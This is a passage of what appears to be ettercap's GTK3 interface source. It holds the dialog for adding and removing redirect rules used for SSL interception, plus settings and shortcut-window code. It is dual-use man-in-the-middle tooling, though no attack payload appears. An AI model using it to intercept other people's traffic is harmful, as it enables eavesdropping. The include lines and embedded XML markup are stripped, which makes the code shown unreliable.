static void gtkui_sslredir_attach(void); static void gtkui_sslredir_add(GtkWidget *widget, gpointer data); static void gtkui_sslredir_del(GtkWidget *widget, gpointer data); static void gtkui_sslredir_del_all(GtkWidget *widget, gpointer data); static void gtkui_sslredir_add_list(struct redir_entry *re); static void gtkui_sslredir_add_service(struct serv_entry *se); static void gtkui_sslredir_create_lists(void); static void gtkui_sslredir_af_changed(GtkWidget *widget, gpointer data); static gboolean gtkui_sslredir_key_pressed(GtkWidget *widget, GdkEventKey *event, gpointer data); /* globals */ static GtkWidget *sslredir_window = NULL; static GtkWidget *treeview = NULL; static GtkListStore *redirrules = NULL; static GtkListStore *proto_list = NULL; static GtkListStore *af_list = NULL; static GtkTreeSelection *selection = NULL; /*******************************************/ /* * tab to configure traffic redirection for SSL interception * - no redirect of any interceptable traffic at startup * - selective redirect avoids SSL errors for destinations * not being subject of interception * */ void gtkui_sslredir_show(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *scrolled, *vbox, *hbox, *button, *context_menu, *items; GtkTreeModel *model; GtkCellRenderer *renderer; GtkTreeViewColumn *column; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_sslredir_show()"); /* if the object already exist, set the focus to it */ if (sslredir_window) { if(GTK_IS_WINDOW (sslredir_window)) gtk_window_present(GTK_WINDOW (sslredir_window)); else gtkui_page_present(sslredir_window); return; } sslredir_window = gtkui_page_new("SSL Intercept", >kui_sslredir_close, >kui_sslredir_detach); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_container_add(GTK_CONTAINER(sslredir_window), vbox); /* rules list */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); treeview = gtk_tree_view_new(); gtk_container_add(GTK_CONTAINER(scrolled), treeview); selection = gtk_tree_view_get_selection(GTK_TREE_VIEW(treeview)); gtk_tree_selection_set_mode(selection, GTK_SELECTION_MULTIPLE); renderer = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes("IP Version", renderer, "text", 1, NULL); gtk_tree_view_column_set_sort_column_id(column, 0); gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes("Source", renderer, "text", 2, NULL); gtk_tree_view_column_set_sort_column_id(column, 1); gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes("Destination", renderer, "text", 3, NULL); gtk_tree_view_column_set_sort_column_id(column, 2); gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); renderer = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes("Service", renderer, "text", 7, NULL); gtk_tree_view_column_set_sort_column_id(column, 3); gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); gtkui_sslredir_create_lists(); model = gtk_tree_model_sort_new_with_model(GTK_TREE_MODEL(redirrules)); gtk_tree_view_set_model(GTK_TREE_VIEW(treeview), model); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_with_mnemonic("_Insert new redirect"); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); if (proto_list) g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_sslredir_add), model); else gtk_widget_set_sensitive(button, FALSE); button = gtk_button_new_with_mnemonic("_Remove redirect"); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); if (proto_list) g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_sslredir_del), model); else gtk_widget_set_sensitive(button, FALSE); /* context menu */ context_menu = gtk_menu_new(); items = gtk_menu_item_new_with_label("Remove redirect"); gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), items); g_signal_connect(G_OBJECT(items), "activate", G_CALLBACK(gtkui_sslredir_del), model); gtk_widget_show(items); items = gtk_menu_item_new_with_label("Remove all redirects"); gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), items); g_signal_connect(G_OBJECT(items), "activate", G_CALLBACK(gtkui_sslredir_del_all), model); gtk_widget_show(items); g_signal_connect(G_OBJECT(treeview), "button-press-event", G_CALLBACK(gtkui_context_menu), context_menu); /* remove entries if delete key is pressed */ g_signal_connect(G_OBJECT(treeview), "key-press-event", G_CALLBACK(gtkui_sslredir_key_pressed), model); gtk_widget_show_all(sslredir_window); } /* Add a new line to the Rules list */ static void gtkui_sslredir_add(GtkWidget *widget, gpointer data) { GtkWidget *dialog, *content, *grid, *source, *destination, *label, *frame; GtkWidget *proto, *af; GtkTreeModel *model; GtkTreeIter iter; GtkCellRenderer *cell1, *cell2; GtkWidget *entry_widgets[2]; GVariant *gv_from_port, *gv_to_port; int ret = 0; guint16 from_port, to_port; gchar *name; const gchar *from, *to; ec_redir_proto_t ip_ver; /* unused variabled */ (void) widget; (void) data; DEBUG_MSG("gtkui_sslredir_add()"); /* compile IP protocol family list if not already done */ if (af_list == NULL) { af_list = gtk_list_store_new(2, G_TYPE_STRING, /* human friendly name */ G_TYPE_UINT); /* protocol number for redirect */ gtk_list_store_append(af_list, &iter); gtk_list_store_set(af_list, &iter, 0, "IPv4", 1, EC_REDIR_PROTO_IPV4, -1); #ifdef WITH_IPV6 gtk_list_store_append(af_list, &iter); gtk_list_store_set(af_list, &iter, 0, "IPv6", 1, EC_REDIR_PROTO_IPV6, -1); #endif } dialog = gtk_dialog_new_with_buttons("Create new redirect rule", GTK_WINDOW(window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_Insert", GTK_RESPONSE_OK, NULL); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_set_border_width(GTK_CONTAINER(content), 20); frame = gtk_frame_new("Redirect specification"); gtk_container_add(GTK_CONTAINER(content), frame); gtk_widget_set_margin_bottom(frame, 10); grid = gtk_grid_new(); gtk_grid_set_row_spacing(GTK_GRID(grid), 5); gtk_grid_set_column_spacing(GTK_GRID(grid), 5); gtk_widget_set_halign(grid, GTK_ALIGN_CENTER); gtk_container_set_border_width(GTK_CONTAINER(grid), 8); gtk_container_add(GTK_CONTAINER(frame), grid); label = gtk_label_new("IP Version:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP, 1, 1); af = gtk_combo_box_new(); gtk_combo_box_set_model(GTK_COMBO_BOX(af), GTK_TREE_MODEL(af_list)); gtk_combo_box_set_active(GTK_COMBO_BOX(af), 0); cell1 = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(af), cell1, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(af), cell1, "text", 0, NULL); gtk_grid_attach(GTK_GRID(grid), af, GTK_POS_LEFT+1, GTK_POS_TOP, 1, 1); label = gtk_label_new("Source:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+1, 1, 1); source = gtk_entry_new(); gtk_entry_set_text(GTK_ENTRY(source), "0.0.0.0/0"); gtk_widget_grab_focus(source); gtk_widget_activate(source); gtk_grid_attach(GTK_GRID(grid), source, GTK_POS_LEFT+1, GTK_POS_TOP+1, 1, 1); label = gtk_label_new("Destination:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+2, 1, 1); destination = gtk_entry_new(); gtk_entry_set_text(GTK_ENTRY(destination), "0.0.0.0/0"); gtk_grid_attach(GTK_GRID(grid), destination, GTK_POS_LEFT+1, GTK_POS_TOP+2, 1, 1); label = gtk_label_new("Service:"); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, GTK_POS_LEFT, GTK_POS_TOP+3, 1, 1); proto = gtk_combo_box_new(); gtk_combo_box_set_model(GTK_COMBO_BOX(proto), GTK_TREE_MODEL(proto_list)); gtk_combo_box_set_active(GTK_COMBO_BOX(proto), 0); cell2 = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(proto), cell2, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(proto), cell2, "text", 1, NULL); gtk_grid_attach(GTK_GRID(grid), proto, GTK_POS_LEFT+1, GTK_POS_TOP+3, 1, 1); entry_widgets[0] = source; entry_widgets[1] = destination; g_signal_connect(G_OBJECT(af), "changed", G_CALLBACK(gtkui_sslredir_af_changed), entry_widgets); gtk_widget_show_all(dialog); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); /* extract information from widgets */ model = gtk_combo_box_get_model(GTK_COMBO_BOX(af)); gtk_combo_box_get_active_iter(GTK_COMBO_BOX(af), &iter); gtk_tree_model_get(model, &iter, 1, &ip_ver, -1); model = gtk_combo_box_get_model(GTK_COMBO_BOX(proto)); gtk_combo_box_get_active_iter(GTK_COMBO_BOX(proto), &iter); gtk_tree_model_get(model, &iter, 0, &name, 2, &gv_from_port, 3, &gv_to_port, -1); /* convert back from GVariant to uint16 */ from_port = g_variant_get_uint16(gv_from_port); to_port = g_variant_get_uint16(gv_to_port); from = gtk_entry_get_text(GTK_ENTRY(source)); to = gtk_entry_get_text(GTK_ENTRY(destination)); /* execute redirect action */ ret = ec_redirect(EC_REDIR_ACTION_INSERT, name, ip_ver, from, to, from_port, to_port); /* inform user if redirect execution wasn't successful */ if (ret != E_SUCCESS) gtkui_infobar_show(GTK_MESSAGE_ERROR, "Insertion of redirect rule failed."); else { /* otherwise add rule to rules list */ gtk_list_store_append(redirrules, &iter); gtk_list_store_set(redirrules, &iter, 0, ip_ver, 1, (ip_ver == EC_REDIR_PROTO_IPV4 ? "IPv4" : "IPv6"), 2, from, 3, to, 4, gv_from_port, 5, gv_to_port, 6, ec_strlc(name), 7, ec_struc(name), -1); } } gtk_widget_destroy(dialog); } /* * remove selected redirect rules */ void gtkui_sslredir_del(GtkWidget *widget, gpointer data) { GList *list; GtkTreeIter iter, iter_unsorted; GtkTreeModel *model; GVariant *gv_from_port, *gv_to_port; int ret; gchar *name; const gchar *from, *to; guint16 from_port, to_port; ec_redir_proto_t ip_ver; /* variable not used */ (void) widget; DEBUG_MSG("gtkui_sslredir_del()"); model = gtk_tree_model_sort_get_model(GTK_TREE_MODEL_SORT(data)); /* get selected entries */ if (gtk_tree_selection_count_selected_rows(selection) > 0) { list = gtk_tree_selection_get_selected_rows(selection, &model); for (list = g_list_last(list); list; list = g_list_previous(list)) { /* extract parameters from GtkTreeView model */ gtk_tree_model_get_iter(model, &iter, list->data); gtk_tree_model_get(model, &iter, 0, &ip_ver, 2, &from, 3, &to, 4, &gv_from_port, 5, &gv_to_port, 6, &name, -1); /* convert back from GVariant to uint16 */ from_port = g_variant_get_uint16(gv_from_port); to_port = g_variant_get_uint16(gv_to_port); /* execute redirect action */ ret = ec_redirect(EC_REDIR_ACTION_REMOVE, name, ip_ver, from, to, from_port, to_port); /* inform user if redirect execution wasn't successful */ if (ret != E_SUCCESS) gtkui_infobar_show(GTK_MESSAGE_ERROR, "Removal of redirect rule failed."); else { /* otherwise remove from list */ gtk_tree_model_sort_convert_iter_to_child_iter( GTK_TREE_MODEL_SORT(data), &iter_unsorted, &iter); gtk_list_store_remove(GTK_LIST_STORE(redirrules), &iter_unsorted); } } /* free the list of selection */ g_list_free_full(list, (GDestroyNotify)gtk_tree_path_free); } } /* * select all entries in TreeModel then then call gtkui_sslredir_del */ void gtkui_sslredir_del_all(GtkWidget *widget, gpointer data) { DEBUG_MSG("gtkui_sslredir_del_all():"); gtk_tree_selection_select_all(selection); gtkui_sslredir_del(widget, data); } /* detach ssl redir tab */ static void gtkui_sslredir_detach(GtkWidget *child) { sslredir_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW(sslredir_window), "SSL Intercept"); gtk_window_set_default_size(GTK_WINDOW(sslredir_window), 500, 250); g_signal_connect(G_OBJECT(sslredir_window), "delete_event", G_CALLBACK(gtkui_sslredir_close), NULL); gtkui_page_attach_shortcut(sslredir_window, gtkui_sslredir_attach); gtk_container_add(GTK_CONTAINER(sslredir_window), child); gtk_window_present(GTK_WINDOW(sslredir_window)); } /* callback for reattaching the detached ssl redir tab */ static void gtkui_sslredir_attach(void) { gtkui_sslredir_close(); gtkui_sslredir_show(NULL, NULL, NULL); } /* close ssl redir tab */ static void gtkui_sslredir_close(void) { DEBUG_MSG("gtk_sslredir_close"); gtk_widget_destroy(sslredir_window); sslredir_window = NULL; } /* * create the list for the list of interceptable protocols */ static void gtkui_sslredir_create_lists(void) { int res; DEBUG_MSG("gtk_sslredir_create_lists()"); /* populate redirect rules */ if (redirrules == NULL) { redirrules = gtk_list_store_new(8, G_TYPE_UINT, /* IP address family */ G_TYPE_STRING, /* IP address family human readable */ G_TYPE_STRING, /* source definition */ G_TYPE_STRING, /* destination definition */ G_TYPE_VARIANT, /* protocol registered port */ G_TYPE_VARIANT, /* ettercap listener port */ G_TYPE_STRING, /* protocol name lower case */ G_TYPE_STRING); /* protocol name upper case */ /* walk through list of registered redirects */ res = ec_walk_redirects(>kui_sslredir_add_list); if (res == -E_NOTFOUND) { DEBUG_MSG("gtk_sslredir_create_lists(): no redirects registered - " "apparently no redirect commands enabled in etter.conf"); gtkui_infobar_show(GTK_MESSAGE_WARNING, "Traffic redirect not enabled in etter.conf. "); } } /* populate registered services */ if (proto_list == NULL) { proto_list = gtk_list_store_new(4, G_TYPE_STRING, /* protocol name lower case */ G_TYPE_STRING, /* protocol name upper case */ G_TYPE_VARIANT, /* protocol registered port */ G_TYPE_VARIANT);/* ettercap listener port */ res = ec_walk_redirect_services(>kui_sslredir_add_service); if (res == -E_NOTFOUND) { g_object_unref(proto_list); proto_list = NULL; } } } /* * callback function to compose the list of active services */ static void gtkui_sslredir_add_service(struct serv_entry *se) { GVariant *gv_from_port, *gv_to_port; GtkTreeIter iter; DEBUG_MSG("gtkui_sslredir_add_service(%s)", se->name); /* Make GVariant from uint16 */ gv_from_port = g_variant_new_uint16(se->from_port); gv_to_port = g_variant_new_uint16(se->to_port); /* update protocol list store */ gtk_list_store_append(proto_list, &iter); gtk_list_store_set(proto_list, &iter, 0, ec_strlc(se->name), 1, ec_struc(se->name), 2, gv_from_port, 3, gv_to_port, -1); } /* * callback function to compose the list of active redirects */ static void gtkui_sslredir_add_list(struct redir_entry *re) { GVariant *gv_from_port, *gv_to_port; GtkTreeIter iter; DEBUG_MSG("gtkui_sslredir_add_list(%s)", re->name); /* make GVariant from uint16 */ gv_from_port = g_variant_new_uint16(re->from_port); gv_to_port = g_variant_new_uint16(re->to_port); /* add rule to rules list */ gtk_list_store_append(redirrules, &iter); gtk_list_store_set(redirrules, &iter, 0, re->proto, 1, (re->proto == EC_REDIR_PROTO_IPV4 ? "IPv4" : "IPv6"), 2, re->source, 3, re->destination, 4, gv_from_port, 5, gv_to_port, 6, ec_strlc(re->name), 7, ec_struc(re->name), -1); } /* * callback when IP address family is changed * - update preset string of source / destination entry widgets */ void gtkui_sslredir_af_changed(GtkWidget *widget, gpointer data) { GtkWidget **widgets; GtkTreeModel *model; GtkTreeIter iter; ec_redir_proto_t proto; widgets = data; model = gtk_combo_box_get_model(GTK_COMBO_BOX(widget)); gtk_combo_box_get_active_iter(GTK_COMBO_BOX(widget), &iter); gtk_tree_model_get(model, &iter, 1, &proto, -1); switch (proto) { case EC_REDIR_PROTO_IPV4: gtk_entry_set_text(GTK_ENTRY(widgets[0]), "0.0.0.0/0"); gtk_entry_set_text(GTK_ENTRY(widgets[1]), "0.0.0.0/0"); gtk_widget_grab_focus(widgets[0]); break; case EC_REDIR_PROTO_IPV6: gtk_entry_set_text(GTK_ENTRY(widgets[0]), "::/0"); gtk_entry_set_text(GTK_ENTRY(widgets[1]), "::/0"); gtk_widget_grab_focus(widgets[0]); break; default: break; } } /* * callback function when delete key is pressed in redirect rule list */ gboolean gtkui_sslredir_key_pressed(GtkWidget *widget, GdkEventKey *event, gpointer data) { DEBUG_MSG("gtkui_sslredir_key_pressed()"); if (event->keyval == gdk_keyval_from_name("Delete")) { gtkui_sslredir_del(widget, data); return TRUE; } if (event->keyval == gdk_keyval_from_name("Insert")) { gtkui_sslredir_add(widget, data); return TRUE; } /* fall through to other handlers */ return FALSE; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_conf.c0000644000175000017500000000510613505247364021450 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include static char *filename = NULL; static struct gtk_conf_entry settings[] = { { "window_top", 0 }, { "window_left", 0 }, { "window_height", 440 }, { "window_width", 800 }, { NULL, 0 }, }; void gtkui_conf_set(char *name, short value) { short c = 0; DEBUG_MSG("gtkui_conf_set: name=%s value=%hu", name, value); for(c = 0; settings[c].name != NULL; c++) { if(!strcmp(name, settings[c].name)) { settings[c].value = value; break; } } } short gtkui_conf_get(char *name) { unsigned short c = 0; DEBUG_MSG("gtkui_conf_get: name=%s", name); for(c = 0; settings[c].name != NULL; c++) { if(!strcmp(name, settings[c].name)) return(settings[c].value); } return(0); } void gtkui_conf_read(void) { FILE *fd; const char *path; char line[100], name[30]; short value; /* If you launch ettercap using sudo, then the config file is your user config dir */ path = g_get_user_config_dir(); filename = g_build_filename(path, "ettercap_gtk", NULL); DEBUG_MSG("gtkui_conf_read: %s", filename); fd = fopen(filename, "r"); if(!fd) return; while(fgets(line, 100, fd)) { char *p = strchr(line, '='); if(!p) continue; *p = '\0'; strlcpy(name, line, sizeof(name)); g_strstrip(name); value = atoi(p + 1); gtkui_conf_set(name, value); } fclose(fd); } void gtkui_conf_save(void) { FILE *fd; int c; DEBUG_MSG("gtkui_conf_save"); if(!filename) return; fd = fopen(filename, "w"); if(fd != NULL) { for(c = 0; settings[c].name != NULL; c++) fprintf(fd, "%s = %hd\n", settings[c].name, settings[c].value); fclose(fd); } g_free(filename); filename = NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_shortcuts.c0000644000175000017500000022363713505247364022574 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /* protos */ /* globals */ #if defined GTK_SHORTCUTS_WINDOW static const gchar* dialog_xml = "" "" " " " " " 1" " " " " " 1" " Ettercap Shortcuts" " 12" " " " " " 1" " General" " " " " " 1" " F1" " Help" " " " " " " " " " 1" " <primary>Q" " Quit" " " " " " " " " " " " " " 1" " Setup" " " " " " 1" " <primary>o" " Open PCAP file (offline sniffing)" " " " " " " " " " 1" " <primary>s" " Save PCAP file" " " " " " " " " " 1" " <primary>P" " Set PCAP filter" " " " " " " " " " 1" " <primary>N" " Set netmask" " " " " " " " " " " " " " " " " " 1" " " " " " 1" " Ettercap Shortcuts" " 12" " " " " " 1" " General" " " " " " 1" " F1" " Help" " " " " " " " " " 1" " <primary>Q" " Quit" " " " " " " " " " " " " " 1" " Targets" " " " " " 1" " <primary>t" " Show current targets" " " " " " " " " " 1" " <primary><shift>t" " Select Targets manually" " " " " " " " " " 1" " <primary>P" " Select Protocol" " " " " " " " " " 1" " <primary>W" " Wipe all targets" " " " " " " " " " " " " " 1" " Hosts" " " " " " 1" " <primary>h" " Hosts List" " " " " " " " " " 1" " <primary>s" " Scan for Hosts" " " " " " " " " " " " " " 1" " View" " " " " " 1" " <primary><shift>c" " View Connections" " " " " " " " " " 1" " <primary>o" " View Profiles" " " " " " " " " " 1" " <primary><shift>v" " Set visualization method" " " " " " " " " " 1" " <primary>r" " Set visualization RegEx" " " " " " " " " " " " " " 1" " Filters" " " " " " 1" " <primary>f" " Load Filter" " " " " " " " " " 1" " <primary><shift>f" " Stop Filter" " " " " " " " " " " " " " 1" " Logging" " " " " " 1" " <primary><shift>i" " Log all packets and infos" " " " " " " " " " 1" " <primary>i" " Log only infos" " " " " " " " " " 1" " <primary>m" " Log user messages" " " " " " " " " " " " " " 1" " Plugins" " " " " " 1" " <primary>p" " Plugins List" " " " " " " " " " " " " " " ""; #else // gtk+ < 3.17 static const gchar* dialog_xml = "" " " " False" " Shortcuts" " True" " True" " dialog" " " " " " False" " vertical" " 2" " " " " " False" " end" " " " " " " " " " " " " " " " " " False" " False" " 0" " " " " " " " " " True" " False" " " " " " True" " False" " vertical" " " " " " True" " False" " 5" " 0" " " " " " True" " False" " 12" " " " " " True" " False" " 2" " 8" " " " " " True" " False" " start" " F1" " " " " " 0" " 0" " " " " " " " " " True" " False" " start" " Help" " " " " " 1" " 0" " " " " " " " " " True" " False" " start" " Ctrl + Q" " " " " " 0" " 1" " " " " " " " " " True" " False" " start" " Quit" " " " " " 1" " 1" " " " " " " " " " " " " " " " " " True" " False" " General" " " " " " " " " " " " " " " " " " False" " True" " 0" " " " " " " " " " True" " False" " 5" " 0" " none" " " " " " True" " False" " 12" " " " " " True" " False" " 2" " 8" " " " " " True" " False" " start" " Ctrl + T" " " " " " 0" " 0" " " " " " " " " " True" " False" " start" " Show current targets" " " " " " 1" " 0" " " " " " " " " " True" " False" " start" " Ctrl + Shift + T" " " " " " 0" " 1" " " " " " " " " " True" " False" " start" " Select targets manually" " " " " " 1" " 1" " " " " " " " " " True" " False" " start" " Ctrl + P" " " " " " 0" " 2" " " " " " " " " " True" " False" " start" " Set Protocol" " " " " " 1" " 2" " " " " " " " " " True" " False" " start" " Ctrl + W" " " " " " 0" " 3" " " " " " " " " " True" " False" " start" " Wipe all targets" " " " " " 1" " 3" " " " " " " " " " " " " " " " " " True" " False" " Targets" " " " " " " " " " " " " " " " " " False" " True" " 1" " " " " " " " " " True" " False" " 5" " 0" " none" " " " " " True" " False" " 12" " " " " " True" " False" " 2" " 8" " " " " " True" " False" " start" " Ctrl + H" " " " " " 0" " 0" " " " " " " " " " True" " False" " start" " Hosts List" " " " " " 1" " 0" " " " " " " " " " True" " False" " start" " Ctrl + S" " " " " " 0" " 1" " " " " " " " " " True" " False" " start" " Scan for Hosts" " " " " " 1" " 1" " " " " " " " " " " " " " " " " " True" " False" " Hosts" " " " " " " " " " " " " " " " " " False" " True" " 2" " " " " " " " " " True" " False" " 5" " 0" " none" " " " " " True" " False" " 12" " " " " " True" " False" " 2" " 8" " " " " " True" " False" " start" " Ctrl + P" " " " " " 0" " 0" " " " " " " " " " True" " False" " start" " Plugins List" " " " " " 1" " 0" " " " " " " " " " " " " " " " " " True" " False" " Plugins" " " " " " " " " " " " " " " " " " False" " True" " 3" " " " " " " " " " False" " True" " 0" " " " " " " " " " True" " False" " vertical" " " " " " True" " False" " 5" " 0" " " " " " True" " False" " 12" " " " " " True" " False" " 2" " 8" " " " " " True" " False" " start" " Ctrl + Shift + C" " " " " " 0" " 0" " " " " " " " " " True" " False" " start" " View Connections" " " " " " 1" " 0" " " " " " " " " " True" " False" " start" " Ctrl + O" " " " " " 0" " 1" " " " " " " " " " True" " False" " start" " View Profiles" " " " " " 1" " 1" " " " " " " " " " True" " False" " start" " Ctrl + R" " " " " " 0" " 3" " " " " " " " " " True" " False" " start" " Ctrl + Shift + V" " " " " " 0" " 2" " " " " " " " " " True" " False" " start" " Set visualization method" " " " " " 1" " 2" " " " " " " " " " True" " False" " start" " Set visualization RegEx" " " " " " 1" " 3" " " " " " " " " " " " " " " " " " True" " False" " View" " " " " " " " " " " " " " " " " " False" " True" " 0" " " " " " " " " " True" " False" " 5" " 0" " none" " " " " " True" " False" " 12" " " " " " True" " False" " 2" " 8" " " " " " True" " False" " start" " Ctrl + F" " " " " " 0" " 0" " " " " " " " " " True" " False" " start" " Load Filter" " " " " " 1" " 0" " " " " " " " " " True" " False" " start" " Ctrl + Shift + F" " " " " " 0" " 1" " " " " " " " " " True" " False" " start" " Stop Filter" " " " " " 1" " 1" " " " " " " " " " " " " " " " " " True" " False" " Filters" " " " " " " " " " " " " " " " " " False" " True" " 1" " " " " " " " " " True" " False" " 5" " 0" " none" " " " " " True" " False" " 12" " " " " " True" " False" " 2" " 8" " " " " " True" " False" " start" " Ctrl + Shift + I" " " " " " 0" " 0" " " " " " " " " " True" " False" " start" " Log all packets and infos" " " " " " 1" " 0" " " " " " " " " " True" " False" " start" " Ctrl + I" " " " " " 0" " 1" " " " " " " " " " True" " False" " start" " Log only infos" " " " " " 1" " 1" " " " " " " " " " True" " False" " start" " Ctrl + M" " " " " " 0" " 2" " " " " " " " " " True" " False" " start" " Log user messages" " " " " " 1" " 2" " " " " " " " " " " " " " " " " " True" " False" " Logging" " " " " " " " " " " " " " " " " " False" " True" " 2" " " " " " " " " " False" " True" " 1" " " " " " " " " " False" " True" " 1" " " " " " " " " " " " " " False" " Shortcuts" " True" " True" " dialog" " " " " " False" " vertical" " 2" " " " " " False" " end" " " " " " " " " " " " " " " " " " False" " False" " 0" " " " " " " " " " True" " False" " vertical" " " " " " True" " False" " 5" " 0" " " " " " True" " False" " 12" " " " " " True" " False" " 2" " 8" " " " " " True" " False" " start" " F1" " " " " " 0" " 0" " " " " " " " " " True" " False" " start" " Help" " " " " " 1" " 0" " " " " " " " " " True" " False" " start" " Ctrl + Q" " " " " " 0" " 1" " " " " " " " " " True" " False" " start" " Quit" " " " " " 1" " 1" " " " " " " " " " " " " " " " " " True" " False" " General" " " " " " " " " " " " " " " " " " False" " True" " 0" " " " " " " " " " True" " False" " 5" " 0" " none" " " " " " True" " False" " 12" " " " " " True" " False" " 2" " 8" " " " " " True" " False" " start" " Ctrl + O" " " " " " 0" " 0" " " " " " " " " " True" " False" " start" " Open PCAP file (offline sniffing)" " " " " " 1" " 0" " " " " " " " " " True" " False" " start" " Ctrl + S" " " " " " 0" " 1" " " " " " " " " " True" " False" " start" " Save PCAP file" " " " " " 1" " 1" " " " " " " " " " True" " False" " start" " Ctrl + P" " " " " " 0" " 2" " " " " " " " " " True" " False" " start" " Set PCAP Filter" " " " " " 1" " 2" " " " " " " " " " True" " False" " start" " Ctrl + N" " " " " " 0" " 3" " " " " " " " " " True" " False" " start" " Set Netmask" " " " " " 1" " 3" " " " " " " " " " " " " " " " " " True" " False" " Setup" " " " " " " " " " " " " " " " " " False" " True" " 1" " " " " " " " " " False" " True" " 1" " " " " " " " " " " ""; #endif /***************************************************/ /* * Since GMenu doesn't show accelerators in the menu, it became * popular to introduce an dedicated window for that * since gtk+3.17, the library even provides an own window-type * for this use case */ void gtkui_show_shortcuts(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *shortcut_window; GtkBuilder *builder; (void) action; (void) data; builder = gtk_builder_new(); gtk_builder_add_from_string(builder, dialog_xml, -1, NULL); shortcut_window = GTK_WIDGET(gtk_builder_get_object(builder, g_variant_get_string(value, NULL))); gtk_window_set_transient_for(GTK_WINDOW(shortcut_window), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(shortcut_window), GTK_WIN_POS_CENTER_ON_PARENT); gtk_widget_show_all(shortcut_window); g_object_unref(builder); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_live.c0000644000175000017500000000202013505247364021452 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /*******************************************/ /* the interface */ void gtkui_sniff_live(void) { DEBUG_MSG("gtk_sniff_live"); //gtkui_create_menu(1); /* online menus */ } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_offline.c0000644000175000017500000000202713505247364022144 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 